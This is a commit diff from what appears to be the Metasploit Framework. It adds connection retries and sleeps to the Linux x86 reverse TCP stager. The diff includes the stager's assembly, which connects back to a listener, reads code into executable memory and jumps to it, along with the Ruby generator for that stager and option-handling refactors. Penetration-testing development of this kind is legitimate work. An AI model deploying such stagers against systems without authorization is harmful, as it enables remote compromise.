Land #8720, add resiliency (retries + sleep) to linux x86 stagers

bug/bundler_fix
Brent Cook 2017-08-08 19:36:47 -05:00
commit 0ac19087cd
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
16 changed files with 211 additions and 81 deletions

View File

@ -33,11 +33,13 @@ BITS 32
GLOBAL _start
_start:
push 0x5 ; retry counter
pop esi
create_socket:
xor ebx, ebx
mul ebx
; int socket(int domain, int type, int protocol);
socket:
; int socket(int domain, int type, int protocol);
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
inc ebx ; 1 = SYS_SOCKET
push ebx ; type = 1 = SOCK_STREAM
@ -47,13 +49,15 @@ socket:
int 0x80
xchg eax, edi
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
connect:
pop ebx
set_address:
pop ebx ; set ebx back to zero
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
push 0xbfbf0002 ; addr->sin_port = 49087
; addr->sin_family = 2 = AF_INET
mov ecx, esp ; ecx = addr
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
try_connect:
push byte 0x66 ; __NR_socketcall
pop eax
push eax ; addrlen
@ -62,6 +66,22 @@ connect:
mov ecx, esp ; socketcall args
inc ebx ; 3 = SYS_CONNECT
int 0x80
test eax, eax
jns mprotect
handle_failure:
push 0xa2
pop eax
push 0x0 ; sleep_nanoseconds
push 0x5 ; sleep_seconds
mov ebx, esp
xor ecx, ecx
int 0x80 ; sys_nanosleep
test eax, eax
js failed
dec esi
jnz create_socket
jmp failed
%ifndef USE_SINGLE_STAGE
@ -74,6 +94,8 @@ mprotect:
shl ebx, 12
mov al, 0x7d ; __NR_mprotect
int 0x80
test eax, eax
js failed
; ssize_t read(int fd, void *buf, size_t count);
recv:
@ -83,6 +105,13 @@ recv:
mov dh, 0xc ; count = 0xc00
mov al, 0x3 ; __NR_read
int 0x80
test eax, eax
js failed
jmp ecx
failed:
mov eax, 0x1
mov ebx, 0x1 ; set exit status to 1
int 0x80 ; sys_exit
%endif

View File

@ -14,10 +14,13 @@ class DataStore < Hash
#
def initialize()
@options = Hash.new
@aliases = Hash.new
@imported = Hash.new
@imported_by = Hash.new
end
attr_accessor :aliases
#
# Clears the imported flag for the supplied key since it's being set
# directly.
@ -133,11 +136,16 @@ class DataStore < Hash
}
end
def import_option(key, val, imported=true, imported_by=nil, option=nil)
def import_option(key, val, imported = true, imported_by = nil, option = nil)
self.store(key, val)
if option
option.aliases.each do |a|
@aliases[a.downcase] = key.downcase
end
end
@options[key] = option
@imported[key] = imported
@imported[key] = imported
@imported_by[key] = imported_by
end
@ -245,9 +253,15 @@ protected
#
def find_key_case(k)
# Scan each alias looking for a key
search_k = k.downcase
if @aliases.has_key?(search_k)
search_k = @aliases[search_k]
end
# Scan each key looking for a match
self.each_key do |rk|
if (rk.downcase == k.downcase)
if rk.downcase == search_k
return rk
end
end
@ -317,6 +331,7 @@ class ModuleDataStore < DataStore
self.keys.each do |k|
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
end
clone.aliases = self.aliases
clone
end
end

View File

@ -45,10 +45,26 @@ module ReverseTcp
# XXX: Not supported by all modules
register_advanced_options(
[
OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]),
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
], Msf::Handler::ReverseTcp)
OptInt.new(
'StagerRetryCount',
[ true, 'The number of connection attempts to try before exiting the process', 10 ],
aliases: ['ReverseConnectRetries']
),
OptFloat.new(
'StagerRetryWait',
[ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ]
),
OptAddress.new(
'ReverseListenerBindAddress',
[ false, 'The specific IP address to bind to on the local system' ]
),
OptBool.new(
'ReverseListenerThreaded',
[ true, 'Handle every connection in a new thread (experimental)', false ]
)
],
Msf::Handler::ReverseTcp
)
self.conn_threads = []
end
@ -88,13 +104,12 @@ module ReverseTcp
#
# @param addr [String] the address that
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri(addr=datastore['ReverseListenerBindAddress'])
def listener_uri(addr = datastore['ReverseListenerBindAddress'])
addr = datastore['LHOST'] if addr.nil? || addr.empty?
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"tcp://#{uri_host}:#{bind_port}"
end
#
# Starts monitoring for an inbound connection.
#
@ -118,8 +133,8 @@ module ReverseTcp
rescue StandardError => e
wlog [
"#{handler_name}: Exception raised during listener accept: #{e.class}",
"#{$ERROR_INFO}",
"#{$ERROR_POSITION.join("\n")}"
$ERROR_INFO.to_s,
$ERROR_POSITION.join("\n")
].join("\n")
end
end
@ -216,13 +231,11 @@ module ReverseTcp
# Terminate the handler thread
handler_thread.kill if handler_thread && handler_thread.alive? == true
if listener_sock
begin
listener_sock.close
rescue IOError
# Ignore if it's listening on a dead session
dlog("IOError closing listener sock; listening on dead session?", LEV_1)
end
begin
listener_sock.close if listener_sock
rescue IOError
# Ignore if it's listening on a dead session
dlog("IOError closing listener sock; listening on dead session?", LEV_1)
end
end

View File

@ -22,7 +22,7 @@ module Msf
# attrs[3] = possible enum values
# attrs[4] = Regex to validate the option
#
def initialize(in_name, attrs = [])
def initialize(in_name, attrs = [], aliases: [])
self.name = in_name
self.advanced = false
self.evasion = false
@ -45,6 +45,7 @@ module Msf
raise("Invalid Regex #{regex_temp}: #{e}")
end
end
self.aliases = aliases
end
#
@ -159,6 +160,10 @@ module Msf
# A optional regex to validate the option value
#
attr_accessor :regex
#
# Aliases for this option for backward compatibility
#
attr_accessor :aliases
protected

24
lib/msf/core/opt_float.rb Normal file
View File

@ -0,0 +1,24 @@
# -*- coding: binary -*-
module Msf
###
#
# Float option.
#
###
class OptFloat < OptBase
def type
'float'
end
def normalize(value)
Float(value) if value.present? && valid?(value)
end
def valid?(value, check_empty: true)
return false if check_empty && empty_required_value?(value)
Float(value) rescue return false if value.present?
super
end
end
end

View File

@ -1,36 +1,28 @@
# -*- coding: binary -*-
module Msf
###
#
# Integer option.
#
###
class OptInt < OptBase
def type
return 'integer'
end
def normalize(value)
if value.to_s.match(/^0x[a-fA-F\d]+$/)
value.to_i(16)
elsif value.present?
value.to_i
else
nil
end
end
def valid?(value, check_empty: true)
return false if check_empty && empty_required_value?(value)
if value.present? and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
return false
###
#
# Integer option.
#
###
class OptInt < OptBase
def type
'integer'
end
return super
def normalize(value)
if value.to_s.match?(/^0x[a-fA-F\d]+$/)
value.to_i(16)
elsif value.present?
value.to_i
end
end
def valid?(value, check_empty: true)
return false if check_empty && empty_required_value?(value)
return false if value.present? && !value.to_s.match?(/^0x[0-9a-fA-F]+$|^-?\d+$/)
super
end
end
end
end

View File

@ -12,6 +12,7 @@ module Msf
autoload :OptBool, 'msf/core/opt_bool'
autoload :OptEnum, 'msf/core/opt_enum'
autoload :OptInt, 'msf/core/opt_int'
autoload :OptFloat, 'msf/core/opt_float'
autoload :OptPath, 'msf/core/opt_path'
autoload :OptPort, 'msf/core/opt_port'
autoload :OptRaw, 'msf/core/opt_raw'
@ -35,6 +36,7 @@ module Msf
# * {OptAddress} - IP address or hostname
# * {OptPath} - Path name on disk or an Object ID
# * {OptInt} - An integer value
# * {OptFloat} - A float value
# * {OptEnum} - Select from a set of valid values
# * {OptAddressRange} - A subnet or range of addresses
# * {OptRegexp} - Valid Ruby regular expression

View File

@ -7,7 +7,6 @@ require 'msf/core/payload/linux/send_uuid'
module Msf
###
#
# Complex reverse TCP payload generation for Linux ARCH_X86
@ -26,16 +25,15 @@ module Payload::Linux::ReverseTcp
#
def generate
conf = {
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['ReverseConnectRetries'],
reliable: false
port: datastore['LPORT'],
host: datastore['LHOST'],
retry_count: datastore['StagerRetryCount'],
sleep_seconds: datastore['StagerRetryWait'],
}
# Generate the advanced stager if we have space
if self.available_space && required_space <= self.available_space
conf[:exitfunk] = datastore['EXITFUNC']
conf[:reliable] = true
end
generate_reverse_tcp(conf)
@ -81,16 +79,20 @@ module Payload::Linux::ReverseTcp
#
# @option opts [Integer] :port The port to connect to
# @option opts [String] :host The host IP to connect to
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_reverse_tcp(opts={})
# TODO: reliability is coming
retry_count = [opts[:retry_count].to_i, 1].max
reliable = opts[:reliable]
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
retry_count = opts[:retry_count]
encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first
encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
seconds = (opts[:sleep_seconds] || 5.0)
sleep_seconds = seconds.to_i
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
asm = %Q^
push #{retry_count} ; retry counter
pop esi
create_socket:
xor ebx, ebx
mul ebx
push ebx
@ -100,14 +102,15 @@ module Payload::Linux::ReverseTcp
mov al, 0x66
mov ecx, esp
int 0x80 ; sys_socketcall (socket())
test eax, eax
js failed
xchg eax, edi ; store the socket in edi
set_address:
pop ebx ; set ebx back to zero
push #{encoded_host}
push #{encoded_port}
mov ecx, esp
try_connect:
push 0x66
pop eax
push eax
@ -117,12 +120,27 @@ module Payload::Linux::ReverseTcp
inc ebx
int 0x80 ; sys_socketcall (connect())
test eax, eax
jns mprotect
handle_failure:
push 0xa2
pop eax
push 0x#{sleep_nanoseconds.to_s(16)}
push 0x#{sleep_seconds.to_s(16)}
mov ebx, esp
xor ecx, ecx
int 0x80 ; sys_nanosleep
test eax, eax
js failed
dec esi
jnz create_socket
jmp failed
^
asm << asm_send_uuid if include_send_uuid
asm << %Q^
mprotect:
mov dl, 0x7
mov ecx, 0x1000
mov ebx, esp
@ -133,6 +151,7 @@ module Payload::Linux::ReverseTcp
test eax, eax
js failed
recv:
pop ebx
mov ecx, esp
cdq
@ -142,6 +161,7 @@ module Payload::Linux::ReverseTcp
test eax, eax
js failed
jmp ecx
failed:
mov eax, 0x1
mov ebx, 0x1 ; set exit status to 1

View File

@ -24,7 +24,8 @@ module Payload::Multi::ReverseHttp
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),

View File

@ -19,7 +19,8 @@ module Payload::Python::ReverseTcp
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
], self.class)
end

View File

@ -18,7 +18,8 @@ module Payload::Python::ReverseTcpSsl
def initialize(*args)
super
register_advanced_options([
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5])
], self.class)
end

View File

@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),

View File

@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10],
aliases: ['ReverseConnectRetries']),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),

View File

@ -8,7 +8,7 @@ require 'msf/core/payload/linux/reverse_tcp'
module MetasploitModule
CachedSize = 99
CachedSize = 123
include Msf::Payload::Stager
include Msf::Payload::Linux::ReverseTcp

View File

@ -8,7 +8,7 @@ require 'msf/core/payload/linux/reverse_tcp'
module MetasploitModule
CachedSize = 142
CachedSize = 166
include Msf::Payload::Stager
include Msf::Payload::Linux::ReverseTcp

View File

@ -0,0 +1,25 @@
# -*- coding:binary -*-
require 'spec_helper'
require 'msf/core/option_container'
RSpec.describe Msf::OptFloat do
valid_values = [
{ :value => "1", :normalized => 1.0 },
{ :value => "1.1", :normalized => 1.1 },
{ :value => "0", :normalized => 0.0 },
{ :value => "-1", :normalized => -1.0 },
{ :value => "01", :normalized => 1.0 },
{ :value => "0xff", :normalized => 255.0 },
]
invalid_values = [
{ :value => "0xblah", },
{ :value => "-12cat", },
{ :value => "covfefe", },
{ :value => "NaN", },
]
it_behaves_like "an option", valid_values, invalid_values, 'float'
end